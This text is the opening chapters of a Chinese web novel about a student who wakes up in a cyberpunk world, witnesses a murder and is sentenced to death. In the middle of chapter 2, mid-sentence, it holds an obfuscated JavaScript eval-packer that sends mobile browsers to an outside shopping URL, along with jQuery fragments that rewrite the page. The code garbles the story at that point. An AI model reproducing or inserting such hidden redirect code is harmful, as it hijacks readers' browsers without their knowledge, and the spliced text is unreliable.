《身穿赛博的她只想回家》 1. 在海边 “上车了,马上出发!” 上车的人们挤来挤去,卫晓好不容易找到了铺位,才腾出手来给爸妈发消息,附带照片一张:“好爽!在边上的位置” “边上会不会冷,挨着厕所吗” 老妈的消息马上弹出来。 “这位置人来人往小心丢东西” 又是一条消息,老爹也出现了。 “放心,又不是第一次了。”卫晓回复,这时绿皮火车缓慢开动,一车放寒假的学生踏上了回家的旅途,“不说了,出发了,等我回家昂!” “路上小心,一路顺风。”妈妈又弹了条消息出来。 卫晓没再回复,爬上自己的中铺,开始酝酿睡意。新年在即,她暑假留校实习,寒假又因为论文耽误,算起来居然已经近一年没回家了,沙发那略带粗糙的触感,有一点点黏的餐桌,因为用久了非常软的被子和床单……尽管离家那么久,那些感觉还是留在了皮肤的记忆中,让她怀念不已。 太好了,卫晓在狭窄的卧铺上幸福地蛄蛹了一下,仿佛已经在家里打了个滚,回家回家,回家过年啦~ - 哗啦…… 哗啦…… 哗啦…… 水声?卫晓迷迷糊糊地想,她好像正在从一段深沉的睡眠中慢慢苏醒,脑子还不太好使。 几点了?到哪了? 怎么潮潮的……又吵又臭……站台灯好亮……忘了拉窗帘吗? ……不对 心跳加速,昏沉的脑子猛地清醒了,卫晓还闭着眼睛,但全身上下每一个细胞都开始尖叫——身下的地面潮湿、坚硬、凹凸不平,她的手指摸到了某种粗糙的小颗粒,她的耳边传来循环往复的哗啦水声,空气中则弥漫着一种咸腥的、令人作呕的味道,有明亮的光线透过眼皮,刺得眼球生疼。 怎么看,这都不该是火车卧铺。 做梦吗?她真的醒了吗?身侧的手指微微颤-抖,卫晓人躺在那里不敢动弹,思维已经尖叫着飞出九霄云外,火车劫匪?灵异事件?不对现在是安全的文明的现代化的21世纪,哪来这种事情?说不定是……是…… 实在找不出理由了,听上去周围没有人,只有哗啦的水声,于是卫晓决定先眯着眼睛观察一下环境,根据过去看过的所有小说动漫电视剧的经验,这时候要先装作自己没醒。 在朦胧的视野中,卫晓看到了一半沉沉的暗色,一半高远的灰色。 这是……哪里? 她躺在地上,睁大眼睛看着上方。灰色的部分,是天空,阴云密布的那种,她上学的c市一年有300天都是这种阴沉沉的鬼天气。暗色的部分不太规则……像是某种很高的建筑,不对,是悬崖,陡峭地突出在外的悬崖。 起身环顾四周,茫茫天光下,一片辽阔的灰色海洋安静起伏,潮水涌动,循环往复,一些乱七八糟的垃圾被带上岸来,随着水流摇晃。身下是一小块粗糙的海滩,周围黑色的巨石相互交错碾压,身后是高悬的崖壁,陡峭荒凉,一棵草或者一只鸟都没有。 “有……有人吗?”卫晓颤-抖着出声,回答她的只有哗啦的海浪声中自己微弱的回音,“我*……” 像是什么荒诞的玩笑,眼睛一睁一闭之间,卫晓一个从没见过海的、在干旱地区长大的西北姑娘,从运行中的火车中来到了某处不知名的荒凉海滩边。 “冷静……冷静……”卫晓闭上眼睛连续深呼吸,小声安慰自己。作为未尝一败的踩点战神,经验告诉她越着急越要冷静,忙中-出错最要命。 首先这不是梦,她已经扇了自己两巴掌了,超疼,其次,判断一下自己的状态,卫晓在乱糟糟的大脑中勉强理出了一条思路,乾坤大挪移这种事情实在匪夷所思,但现实就是没有逻辑的,说不定她是......算了,只要能见到其他人,能获救,一切都会清楚的。 回去以后把这事给别人讲应该能收获一地下巴,想到这里卫晓苦笑,站起身准备行动。 她先检查了一遍自己,脑子深处有个地方隐隐作痛,但摸不到外伤,暂时不影响思考,四肢完好,只有一些擦伤和淤青,活动没有问题。发圈还坚强地挂在发尾,将她的头发束成乱糟糟脏兮兮的一把。身上穿着上火车时的卫衣和牛仔裤,和脚上的运动鞋一样都被海水浸-透了,又沉又冷地坠在身上。外套、背包、行李箱、手机等等都不见踪迹,浑身上下的口袋里只掏出几张被水泡烂的卫生纸。 艰难爬上一块岩石远眺,头顶的悬崖非常高,仰头仰到脖子酸痛才能看到顶部。两侧,同样陡峭的崖壁蜿蜒着从两侧延伸入海,像围墙一样将这一小片地方困得严丝合缝。底下只有醒来的那一小片沙地比较平整,其他地方都是大小不一的崎岖黑石。极目远眺,前方只有无边无际的海平面。 哗啦——浪花翻涌,在脚边溅起星星点点的白沫。 “有人吗——?”卫晓气沉丹田,面对辽阔的大海大喊,声音刚出口就被呼啸的海风撕碎了。 高处的海风带着潮湿的凉意,让她打了个哆嗦。往上,崖壁极高又极陡,连个落脚的缝隙也没有;往下,海浪翻涌,内陆长大的她别说大海,连游泳池都没进过一次,是纯正的旱鸭子,现在完全是大写的上天无路下海无门。 ……要再遇上涨潮,当地鱼就可以饱餐一顿了,卫晓咂咂嘴,开始不自觉地咬指甲,结果被手指上海水的味道苦得一哆嗦。 下一步怎么办。 再次眺望远处的海平面,逃生无门,她脑子里不由自主地响起了一阵强劲的音乐,开始播放《荒野求生》,但模糊的记忆里只有“去头可食”和“鸡肉味嘎嘣脆”。 ………没什么用呢,这屁大点地方连点鸟屎都没有。 去看看冲上岸的垃圾,再探索一下崖底?荒野求生失败,卫晓看着下面起伏的海浪,琢磨出了一条新思路,冲上岸的东西说不定有用,再不济看看认不认识上面写的字,确定一下自己的大概位置,总比坐着等死好。 海水带上来的垃圾不少,但都是些破烂,她眯着眼睛找了许久,终于在浮沉的泡沫中看到一个有头有尾的小药瓶,白色瓶身上有些隐约的字迹。 但举着它观察了几圈,却一无所获,瓶身已经被腐蚀得面目全非,大概已经在海里漂了好几个月。 连连受挫,卫晓只能继续给自己鼓劲,没事的没事的,不会只有这一个的,再不济也可以用它存点水,或者写个漂流瓶……卫晓手上摩挲着药瓶,眼睛四处搜索。 多找到几个就好了,最好能有可以辨认信息的…… 正想着,她却忽然倍感疲惫,大脑一阵眩晕,同时垂在身侧的手里多了个小东西,手指下意识收紧,却没抓住那光滑的弧形外壳。那东西啪嗒掉到地上,顺着沙滩的弧度咕噜咕噜往前滚,最终被一块石头挡住了。 ....那分明是一个崭新的小药瓶。 见鬼了??? 卫晓整个人都僵住了,旋即猛地转头,看向空无一人的身后,惊得呼吸都放缓了,她确定以及肯定,自己刚才垂在身侧的手里什么都没有。 但她的眼睛也没问题啊!天光下,静静躺在黑色沙滩上的小药瓶扎眼得要命,从形状大小看,和她手上的是同款,而不管她远看近看,都十分逼真,上面字迹分明,光可鉴人。 超自然事件?有什么东西在后边把药瓶塞到了她手里然后瞬间消失了? 卫晓寒毛都炸起来了,她暂时还不敢碰它,只蹲下凑近了去看上面的字。 “二型……二型什么激发剂。”卫晓费劲地歪着脑袋念了出来,有点不相信自己的眼睛,“用途,适用于人工促进……灰巢能力产生?能力……灰巢?” 熟悉的字组成了不太熟悉的句子,荒谬的不安从镇定的表像下隐约浮现,像从冰面下一闪而过的恐怖黑影,卫晓犹豫片刻,决定伸手去拿。 ——砰! 然而就在手指碰到瓶身的瞬间,一声巨大的闷响在头顶骤然炸开,卫晓一抖,寻声抬头。 在上面! 悬崖上有人!! 意识到这点的瞬间,顾不得其他,一声凄惨的救命就要出口,管它什么神神叨叨的小药瓶,获救的惊喜已经绽开,卫晓满脑子只有得救了—— 但声音还没发出,悬崖边忽然飞出一个黑影,飞扬的发梢和衣角在天光下格外显眼。紧接着黑影越来越大越来越大……电光石火间,卫晓的瞳孔忽的缩小,声音生生卡在了喉咙里。 黑影飞快地擦过卫晓身边,面朝下重重摔在岩石上,咔!清晰的骨头碎裂声回荡在卫晓耳边,她腿脚一软,摔坐在地,僵硬地盯着那个黑影。 是一个人……暗红的血迹正缓缓洇出,顺着岩石的缝隙流下。某种陌生的铁锈味混在咸腥的海风里,先于视觉抵达了卫晓呆滞的大脑。 血腥味。 恐惧终于冲破了镇定的表象,这时候该干什么,尖叫吗,可是卫晓已经感觉不到自己的身体了。她坐在那里,手、脚、喉咙似乎都不存在,她听不到自己的声音,所有感官集中在那个趴在岩石上的人影上。黑色的岩石,白色的长外套,殷红的鲜血,三种颜色突兀交错,卫晓惊惧地盯着那些色块,每一个细节被都深深地刻进了脑髓深处。无法呼吸,无法思考,短短几秒钟仿佛被拉长成了没有尽头的时空。 数秒之后卫晓才终于缓过气来,猛咳几声,心脏跳得要从喉咙里冲出来一样猛烈。 有人!有人掉下来了! 她强行控制着发麻发软的手脚,往远处移动了一点,那小药瓶早不知道被踢哪去了,嗡嗡作响的脑子里只有这一句话飘来飘去,加大加粗。 而且死了!摔死了! 不远处,趴在岩石上的人一动不动,看上去就死的不能再死,鲜血一滴一滴顺着岩石洇进起伏的海浪里,一瞬便消融不见。 尸体面朝下,卫晓看不清她的脸,但是一头长发,身形也很像女性,穿着一件白色长外套,下身是平平无奇的黑色长裤和平底鞋,后脑处缺了一块,能看见红白的血沫与断骨,长发混着鲜血黏在背上,看上去像是从背后被打中了脑袋…… 几块碎石忽然砸到面前,在沙滩上留下了小小的坑洞,卫晓一惊,猛地抬头,只见有个脑袋在崖边一闪,消失了。 他杀……这个事实让她前所未有地恐慌起来,凶手就在上面,卫晓看见了ta,ta也看见了卫晓。 “我*!”这个事实瞬间将对尸体的恐惧一扫而空,卫晓惊跳起来,四处环顾,悬崖上面已经空空荡荡,连只鸟都看不见。凶手离开了吗,还是正在想办法过来杀掉自己?她肯定被看到了,用脚指头想都知道凶手不会放过自己。 怎么办怎么办,卫晓盯着尸体,牙关开 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海浪翻涌,卫晓感觉自己心跳如鼓。尸体就趴在不远处,如果能翻出手机并报警,然后躲起来,说不定还能获救。刚才除了呼啸的风声她没听到任何多余的声音,凶手可能是偷袭,一击致命,那样就来不及拿走尸体的手机,尸体看上去是年轻女性,出门十有八-九会带手机。凶手除非也从上面直接跳下来,否则能走到她面前真正威胁到她就肯定还要时间,只要手机没摔坏,只要还能拨打紧急电话…… 可能性飞一般闪过,最终卫晓深吸一口气,蹲下身,抖着手开始摸索尸体的口袋。 不是一个很好的办法,但是值得迅速一试。 “对不起对不起救救我吧救救我吧我要活着我要回家……” 卫晓嘴上颠三倒四地念叨着,眼睛根本不敢看面前的尸体。血腥味,尚且温热的柔软的身体的触感,湿湿的黏黏的血的触感,她只能加快手上的动作,不去细想自己在做什么。以己度人,卫晓不介意死后给慌乱的姑娘借手机用,想必她也不会介意对吧。 但她的心越来越凉。 空的、空的、空的,外套侧面的口袋没有,裤子后面的口袋没有,还能在哪里?在哪里? 难道在身体正面……?随着卫晓的动作,血一股一股冒出,染得底下的沙滩和海水都是暗沉沉的血色,卫晓的手上也是一片淋漓的鲜红。 要翻过来吗?卫晓犹豫了一下,冷汗已经顺着下巴往下滴了,心跳的厉害,尸体面朝下摔在岩石上的,她相信今天如果能获救,尸体正面的惨状将是自己一生都挥之不去的噩梦。 但是她更想活着回家,她要活着回家,家里有妈妈,她不要一个人在这里喂鱼。 卫晓的手抖得厉害,滑了好几次才抓紧了尸体肩膀,完全瘫软无力的身体比她想得难控制,咬牙用力才将尸体的右边抬起一点。 嗡…… 一声突如其来的震动音吓得她松手后退了几步,跌坐在地上。随着她的动作,尸体压-在身下的右手滑了出来。 嗡…嗡…嗡…… “监测到生命体征消失,已为您呼叫紧急联系人,已为您呼叫新海港市治安中心……” 尸体扭曲的右手上,凭空亮着一块小小的,半透明的虚拟屏幕,从高处摔下来也没让那个小东西损坏,它在昏暗的天光下规律地闪动着,发出柔和的白光和甜美的女声,长得很像好菜坞科幻大片里会出现的东西,每一处细节与光影都真实得无懈可击,如果此时卫晓坐在电影院她会赞美一下这个特效做得很不错。 唯一的问题是这东西实实在在地出现在了卫晓面前,透过屏幕上那个熟悉的话筒符号,卫晓还能清楚地看见尸体被血浸-透的凌乱长发。 什么啊,卫晓连遭重击的大脑仿佛已经麻木了,她盯着那块半透明屏幕,强迫自己思考,或许这位女士是位黑科技爱好者,又或者是我太紧张出现幻觉了,就像那个小药瓶一样。不过太好了,它说的也是熟悉的语言,还说已经打电话了,现在应该赶紧找个地方躲起来,不能被凶手找到,很快会获救的…… 又或者…… 一种可怕的,玩笑般的,不可理喻的猜测再次浮现在了脑海中,它从卫晓睁眼起就盘旋在她的大脑深处,情感、理智和卫晓过去二十一年形成的所有认知都将它牢牢封-锁,莫名出现的小药瓶让卫晓看见了它的影子,这块超现实的虚拟屏幕又带来了重重一击,让她恐惧得无以复加。 她急忙将那个念头按下去,扶着岩石用颤-抖的双腿撑起自己。去找一个安全的地方躲起来……卫晓死死揪住这个想法并将其他杂念都清空,再找些趁手的石头当武器,没事的没事的,她肯定还在…… 但一阵引擎轰鸣的低沉声音忽然由远及近,转眼间就到了震耳欲聋的程度,强劲的旋风同时卷起了地上的小石子,噼里啪啦打得人生疼。 怎么回事!卫晓下意识就向声音的方向看去,紧接着却是一束强光扫来,超亮的白光瞬间刺得人睁不开眼,她不得不转头闭目,抬手挡在面前,生理性的泪水一下打湿了眼睫。 “新海港市治安中心,消杀处。” 震耳欲聋的轰鸣混杂着被扩音器层层放大的男声,在这狭小的海边悬崖处来回震荡,铺天盖地的强光和高声中,卫晓仿佛要灰飞烟灭了。 “放弃抵抗,否则我们将使用暴力措施。”又一句雷鸣般的警告,疼痛,恐惧,惊慌,疲惫,强光和高声成了最后一根稻草,被折磨太多的大脑终于罢工,卫晓眼前一黑,晕过去了。 2. 有罪,死刑 她小心地避开一个个收拾东西的乘客,低头看了一眼手机屏幕,找到了自己的位置。行李有一个沉重的灰色双肩包,一个满满当当的巨大行李箱,她好不容易才把它们也安顿好,吃力地爬上了狭窄的上铺。 她的状态好像很糟糕,正在面对着什么艰难的困局,她必须去做,又不知道该如何去做。没有任何人能帮助她,一旦失败就是万劫不复,对未来的巨大迷茫与恐惧让她幻想自己拥有火眼金睛,总能做出最好的选择。 忽然,晃动的火车停下了,窗外骤然黑暗,莫名的恐惧吞噬了她,一点奇异的腥甜味慢慢弥漫开来。 这仿佛就是卫晓本人,又仿佛只是一个转瞬即逝的梦,她的意识飘荡了一圈,随即又沉入黑暗中。 “什么都没扫出来?”一个年轻男声。 “没有任何芯片,非常干净,其他检测也都没有问题。”另一个低沉些的男声。 黑暗中,卫晓隐约听到了说话声。 “查基因吧,伊娃,1XU198301120139申请一次基因匹配检验,立刻做,最高优先级。”年轻男声再次开口。 意识缓缓回笼,下一秒海滩、天空、悬崖、小药瓶、黑、红、白,悬浮的小屏幕和强光一起闪过,卫晓大脑炸开一样痛,什么情况,她费力地思考,真的不是做梦吗? 但那在她看来只应该出现在电影的对话还真真切切地回荡在耳边。 噩梦成真,脑海深处的荒谬猜测变成了现实,尖锐的耳鸣声中,卫晓终于意识到,要不是自己疯了——她宁愿相信是这个,要不就是那些天马行空的故事发生在了她身上。 自己大概、或许、应该,已经不在原来的世界了。 她穿越了?! 但卫晓甚至来不及对此感到恐慌,现在的情况是她被发现在凶案现场,这个世界的警察将她当场抓获,并且马上要去验她基因。 高中时她就生物考最好,卫晓当然知道这是什么意思,她在海边检查过自己的身体,100%原装,如假包换。 冷汗一瞬间浸-湿了全身。 “已送检。”没有一点缓冲时间,一个冷漠的机械女声响起,惨白的灯光骤亮,透过眼皮也照得人眼睛生疼,“受审人已恢复意识,审讯可以开始。” 她被冷硬的金属死死束缚着,双手固定在面前的桌子上,双脚固定在凳脚上,腰被圈在椅背上,无处可逃。未知的深渊面前,踏出的每一步都可能粉身碎骨,她现在手无寸铁,但已经避无可避。 一咬牙,卫晓头也没抬,闭着眼睛大喊道:“不是我做的!我什么都不知道!我什么都不记得了!” 冷汗滴答,卫晓的牙关止不住的相互打架,太突然了,太突然了,事情发生之快她完全搞不清楚情况。而作为遵纪守法的超级好公民,过去别说进审讯室,她都没和警察说过几句话。 唯一能确定的事情就是那人的死和自己无关,混乱的思绪里,卫晓只抓住了这一个念头,她看到了凶手,其余的她什么也不知道。咬死这点,既然查基因已经板上钉钉,那就查出来有什么不对劲就说自己全都不记得了,不知道从哪来不知道为什么在这里只知道有杀人案! 上吧!她告诉自己,会成功的! “我醒来听见上面有声音就看见有人摔下来然后上面还有个人,我站在尸体旁边是想看看她的情况其他我什么也不知道!”卫晓停也没停,紧紧闭着眼睛稀里哗啦一口气说完。 一片安静,卫晓剧烈的耳鸣声都盖不住自己快得可怕的心跳声,她鼓起了此生最大的勇气,盲目地跨出了一步,现在正悬在这无底深渊之上。她不知道自己将立刻粉身碎骨还是暂且活命,可怕的未知感逼得人发疯,只有一根蛛丝勉强拉住摇摇欲坠的理智。 还有希望还有希望还有希望,她疯狂地将几个字翻来倒去地在心里念,给自己鼓劲。 “也听不出什么口音。”仿佛过了一秒钟又或者一万年,那个年轻男声没什么感情地开口道。 “你翻动过尸体?”低沉些的男声接着发问。 “是。”卫晓咬紧牙关,挤出来一个字。 “有罪。” 蛛丝猛地下滑,一切声音随之远去,只剩那个低沉的“有罪”在反复回响。卫晓睁开眼,她一直低着头,在白亮的灯光中,只能看到自己被固定在桌面上的双臂和反光的金属桌面,眼泪混合着汗水滴在上面,模糊的反光中,卫晓看见了自己扭曲的面孔。 “什么……什么罪?我……”用尽全身力气,卫晓才控制着自己水泥般僵硬的喉咙,磕磕绊绊地说,“我不知道我做错了什么……我……” 恐慌到了极致,卫晓混乱的大脑反而冷静下来了,她茫然乃至带着一点愤怒地想,我莫名其妙就到了这里,我什么都没做,我要活着,这不公平,妈妈,我要回家,你们凭什么判我有罪。 从醒来之后就隐隐作痛的脑子更痛了。 “侮辱尸体罪。”还是那个低沉的男声,他听上去很不耐烦,“受害人是一等公民,你没资格动她。” “不要这么吓人嘛。”下一秒年轻男声接着开口了,声音柔和,隐约带着笑意,“罚一点钱就过去了,牢房都不用蹲。” 罚一点钱。 这四个字让恐慌的潮水稍稍退却,卫晓放松了一点,大口大口喘着气,汗水打湿了她面前的桌面,脑子的疼痛缓解了一点。 “别那么紧张小姑娘。”那个年轻男声又开口了,温和有礼地说,“我们就是问你一些事情,好好回答就行,不会有什么事的。” “好。”卫晓稳了稳心神,看来这个世界或许不是那么不讲道理,警察也不是不可交流,好好说,其他事情等之后再想,还有办法,还有办法。 于是卫晓睁眼抬头,望向桌子对面。 ……我应该是疯了,这里是精神病院。 看清对面的瞬间,卫晓呆住了,她再次怀疑现在的一切都是她发疯或者做梦的幻觉。不过这一连串匪夷所思的事情大概让她的神经坚强了一点,她甚至诧异自己没有再次晕过去。 对面的男人穿着一套板正的灰色制服,但突兀地围着一条黑色围巾,能看出围巾下的脖子非常粗壮,粗壮到了不正常的地步。 ——因为上面撑着两个头,两张嘴,两个鼻子,两双眉毛下的四只眼睛正直直注视着卫晓。 “怎么了?”其中一个头发出年轻的男声。 下一秒卫晓眼睛忽然刺痛,不由自主地一闭一睁之后,刚才看到的一切仿佛真的只是她在惊恐中产生的幻觉。 对面的确坐着两个人,一高一矮,穿着一模一样的灰色制服,也没有搭配什么黑色围巾。高个男人干瘦,像个薄薄的干尸一样戳在那,皱成一团的浓眉压-在一双艳丽的蓝眼睛上,气势迫人,仿佛任何秘密都在那双眼睛下无处遁形。旁边的矮个男人则胖些,面目普通,一双微弯的眯缝小眼自然带着些笑意。虽然现在的情况非常不正常,但这两个人终究还是没有超出卫晓的想象力,每个人两只眼睛一只鼻子一张嘴巴,还是那种会在路上擦肩而过的普通人。 但不知怎的,卫晓看着对面,心里总觉得这两人有种隐约的违和感。 矮个子发出了那个柔和的年轻男声:“先问一下你的编码。” 编码?卫晓一愣,旋即回答:“对不起我不知道,我在那片海滩上醒来,头很疼,我……我不记得了……什么都不记得了……” “什么都不记得了?”低头看着手上屏幕的高个男人忽然抬头,重复了一遍卫晓的话,声音低沉,那鹰隼般锐利的目光盯得卫晓心里一抖。 “对。”卫晓咽了口唾沫,她何止不记得,她就不知道有这么个东西。 “是不知道什么是编码吧。”但下一秒高个男人开口,冷笑一声,“别撒谎,太拙劣了。” 说错什么了?我暴露了?冷汗再次浸-湿全身,卫晓已经控制不住身体的颤-抖,那根牵住她全部理智的蛛丝又一次下滑,她只能用尽全力不去看脚下的深渊。 “算啦,那些事情都往后放,看把人吓得。”此时矮个男人的话仿佛救命稻草,他看着发-抖的卫晓,笑了笑说,“昨晚海上不太平,有艘小船翻了,你是船上的乘客吧?能活着到岸上真是太幸运了。放心,之后我们会安置好你的,先说一下你看到的事情吧。” “我不知道……我就记得我在沙滩上醒来,头很痛,什么都不记得了。”卫晓不敢直接承认自己是哪来的,这个问题她解释不了,也不敢解释。 但在反复的惊惧后,矮个男人跳过了“编码”问题和耐心解释的温和态度还是让她放松了些,卫晓控制住发-抖的身体,闭了闭眼,开始回忆:“我先是听到上面有声音——” “什么样的声音?声音大不大?” “还行……” “听一下是哪种?” …… “这个,像这个的声音。” “确定吗?那音量怎样?” …… …… …… 一遍又一遍,矮个男人反反复复询问了每一个细节,不时还忽然返回已经问过的问题,高个男人就在旁边皱眉看着,不时插两句。冷冷的灯光下,卫晓神经紧绷,脑子里一跳一跳地痛。这种情况下,只是回答问题都让她疲惫不已,她拼命回忆所有细节,每句话都思量再三才出口,生怕再说出什么让人怀疑的事情。 “好的,非常感谢你的配合,吓坏了吧。”终于,矮个男人放下了手上的屏幕,笑着看着对面的卫晓,声音温和。 “好的,好的。”这句话像死刑犯的赦令,卫晓长出一口气,心弦微松,稍微觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351489|199616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳当了些,才发觉自己已经饥肠辘辘,四肢一阵阵发软。 所有问题她都如实回答,涉及身份的危险问题都以不记得模糊过去了,对面两人的态度看上去也没有什么异常。 压力暂缓,卫晓有机会用眼角余光扫了一圈——全封闭的灰色小房间,墙壁不确定是什么材质,很光滑,没有任何缝隙,连门也没有。中间一张金属小桌子,三把椅子,头顶是冷冷的白光。 至少看上去不太像她印象里的警局,这是未来?她穿越到了某个科技发达的世界?卫晓不知道,至少现在先过一关。 那还能不能问一些事情……她还记得矮个男人提到过昨夜海上翻船,和她的来历有关吗?还有杀人案是什么情况,他的态度还挺好……心思转动,卫晓跃跃欲试地抬头,矮个男人坐在她的正对面,正眼含笑意看着她,但目光相触的瞬间,卫晓莫名打了个寒战。 “你的执行日安排在三天后,下午三点,由于你诚实的态度,我为你申请了麻醉执行。”见卫晓抬头,矮个男人开口,吐字清晰,发音标准,眼中笑意不减,像在说什么“谢谢惠顾请慢走”,“伊娃,送去牢房吧。” “收到。”那个一直沉默的机械女声回答,耳边,某种设备启动的嗡嗡声传来。 “什么……执行日?”卫晓觉得自己一个字也没听懂,疲惫的大脑慢了一拍才反应过来。 “基因检测说明你欠下了巨额债务,加上侮辱尸体罪,足够你被‘上交’了。”矮个男人起身,轻快地说到,那双微弯的小眼笑得只有一条缝了,“当然你可以上诉,不过相信我,那也是一-大笔钱。” 一扇门在他背后凭空出现,安静滑开,他转身走出房间,高个男人紧随其后。门随之关闭,只留卫晓一个人呆坐在那里。 …… 一时间,卫晓不知道是该怀疑自己的基因检测是什么情况,还是该询问“上交”和“麻醉执行”是什么,又或者质问怎么上一秒还和和气气下一秒就判了她的罪,她还能不能请律师申辩,无数念头乱哄哄地挤来挤去,直到房间震动了一下,整个开始移动,卫晓终于回过神来,猜这是要把自己整个送去“牢房”。 可以,这很高科技。 “上交”是什么意思?不对,查基因怎么会查出我欠债?按理说我不是这个世界的人……那“麻醉执行”呢?三天后执行,还有时间缓冲一下,矮个男人说花钱可以上诉,但钱也是问题……思绪转动,但短时间的大起大落都快让疲惫的大脑紧张不起来了,卫晓扭曲着活动了一下僵硬的肩背,让自己坐得舒服一点。 闭眼是火车站,宿舍的床,妈妈的脸、朋友的脸,睁眼是空荡的金属房间,昨天她还在头痛秋招0offer,今天已经先目睹了一起杀人案件再被判了个不知道什么罪名。 卫晓深深地叹了一口气,算上从天而降的那位,她拢共见过四个这里人,但已经单方面断定这个世界恶意满满,危险重重,凶手和被害人暂且不论,审问她的那两位一个恶趣味的伪善一个没人情的冷漠,这欢迎大礼包要把她砸死了,回家……要怎么回家…… 不对……其实是五个,还有一个不知道是不是“人”。 “你好,我想问一个问题。” 卫晓忽然出声,声音在空荡的房间里回荡,惨白的灯光如有实质,压得卫晓难以呼吸,但她疲惫的大脑闪过了一线灵感。 还有一个“人”。 审问开始和结束的时候出现的那个机械女声。 卫晓不知道那算不算是一个有自我意识的“人”,她看过的网文可太多了,比较怀疑那是个牛-逼的高科技AI,但试一试又何妨。 没有回应,卫晓回忆了一下矮个男人的说法,斟酌字词,又问了一遍。 “.....伊娃你好,我希望知道我的具体罪名和处罚内容是什么。” 嗡嗡的机械运转声回荡。 “编号1XV202509081028,罪名包括危害联邦稳定、非法偷渡以及侮辱一等公民尸体。”空荡的金属房间里,冰凉的机械女声突兀响起。 果然高科技!她一下坐直了,急忙开口,“处罚内容!伊娃,我想知道‘上交’和‘麻醉执行’是什么?” “审判官判决,三天后您以麻醉方式执行死刑。”机械女声一板一眼地开口了,“这一过程不会有任何痛苦,是联邦最人性化的死刑方式之一。其后,依据联邦法律规定,您的一切将上交至联邦最高政-府,健康器官送至第二冷库,其余部分送至堆料场,剩余财产划入经济中心,为社会做出应有的贡献。” ……卫晓又一次呆滞了,灵魂出窍,只有那冰冷的女声在她的脑海中来回震荡,激起恐惧的回音。这个世界的恶意远超她的想象,它是吞噬一切的深渊,卫晓初来乍到,就已经失足跌入了最深的黑暗中。 3. 牢房四人组 “晚餐时间还有十分钟。”还是那个机械女声,卫晓抖了一下,盯着面前的棕色糊糊,捏紧了手上的勺子。 昨天这时候,卫晓知道了她的罪名是“危害联邦稳定、非法偷渡和侮辱一等公民尸体。”而处罚内容是—— 死刑。 那三天……不,两天,不是什么缓冲时间而是她生命的倒计时,她即将被以尸体的形式“上交”联邦。 “距执行时间还有72小时13分钟12秒。”最后那个机械女声补充到,“您的器官将成为新生的希望,虽然这不能完全抵消您的罪行,但我依旧代表联邦,感谢您的贡献。” 贡献个**!没等卫晓追问,她的房间就“到站”了。正面的墙壁打开一个小口,一只机械臂将什么东西“啪”地盖在了卫晓的左手背上,紧接着束缚她的金属圈哐当松开,侧面的墙壁整个消失了,取而代之的是一个四人间——里面有四张床,三个人,其中一个发出了惊喜的尖叫: “新成员!” 那姑娘的声音非常尖,刺得卫晓一个激灵,但还没等她搞清楚情况,头顶那白惨惨的灯光忽然就成了闪烁的红光,一个硕大的发光箭头随之浮在卫晓面前,指着四人间的方向。 等等……什么?卫晓更迷茫了。 发出尖叫的那姑娘冲上来,细细的胳膊,力气却大得惊人,单手就把她从椅子上拖下来,拉进了四人间里。墙壁哐当合拢,那个小小的审讯间消失了,卫晓进来的地方只留下一面灰色的金属墙壁。 “不及时下来会说你'不服从管理',要扣一顿饭的。”那姑娘看上去比卫晓还惊魂未定,声音尖得让人脑壳痛。她猛跳起来,理了理衣服,踮着脚向卫晓伸出手,“不过现在没事啦,我是L16的酥七,你的称呼?” 这稀里哗啦的一串终于让卫晓暂时挣脱了死亡的阴影,将注意力集中到了眼前,刚才机械臂拍在她手背上的是一张小小的圆形“透明胶”,卫晓一边试着扣了扣它——没扣掉,跟长在肉里一样,一边粗略地扫了一圈:房间有三个人,面前站着的是酥七——一个眼睛很大,个子很矮的爆炸头小姑娘,两腿间垂下了一条细长无毛的尾巴......尾巴!卫晓竭力让自己显得淡定,一旁还有两人一坐一躺,都一言不发地看着这边。 “我……我是……”她下意识想回答,“卫晓”两个字却在舌尖转了一圈,咽回去了。 “我知道了。”见卫晓话说了一半就茫然地顿住,酥七看卫晓的眼神突然变成了然中夹杂着怜悯,“你头不行!” 卫晓:? - “你不吃就给我吃。”酥七乱蓬蓬的头忽然挤过来,她面前的盘子已经干净得和洗过一样。 “不不我要吃。”卫晓猛地回神,急忙舀了一口塞进嘴里,又扒拉几下,勉强把一盘糊糊都咽下肚去。很难吃,口感类似浓鼻涕,充满工业香精的怪味,但吃的就这一种,更别说卫晓的心思全不在这上面—— 作为一个正常人,忽然被判了死刑,她现在寝食难安。 但住了一-夜之后,卫晓发现自己似乎是这个房间里唯一的“正常人”。 四张床两两一排,靠墙摆放,睡在卫晓同排的是酥七——十二三岁的矮个子小姑娘,卫晓有170+,而她的个头还不到卫晓胸口,身后拖着一条老鼠一样的细长尾巴,不是错觉、不是装饰,就是从身后长出来上的,热的,能动,甚至非常灵活。酥七整个人也和小老鼠一样非常活跃,活跃到了神经质的程度,对一切事情都充满了超乎寻常的热情,顶着一头黄-色的爆炸卷毛尖叫着上窜下跳。 酥七对面是四盒——干瘦的中年妇女,黑发,蓬头垢面,穿着脏兮兮的白色袍子。身上倒没长什么多余的东西,总是一个人絮絮叨叨,问话也没有反应。但四盒喜欢抓人编小辫子,可能因为酥七的头发实在难以驯服,她格外偏爱新来的卫晓,昨天大半夜突然出现在卫晓身后拎起她的头发,将卫晓吓了个半死。而现在一个白天过去,卫晓已经顶着十二个小辫子了,整个头上没有一缕散开的头发。 卫晓对面是绒绒——相比之下这位看上去最正常,卫晓目测她比自己年长些,微卷的黑色短发,单边的红色小耳钉,亮红色的贴身背心,灰色的长裤,肌肉匀称,身高腿长,裸-露的脸颊和双臂上有斑驳的伤痕,长得就是个狠角色。一天过去了,她就和卫晓说过两句话,每次吃完饭就回到床上躺下。 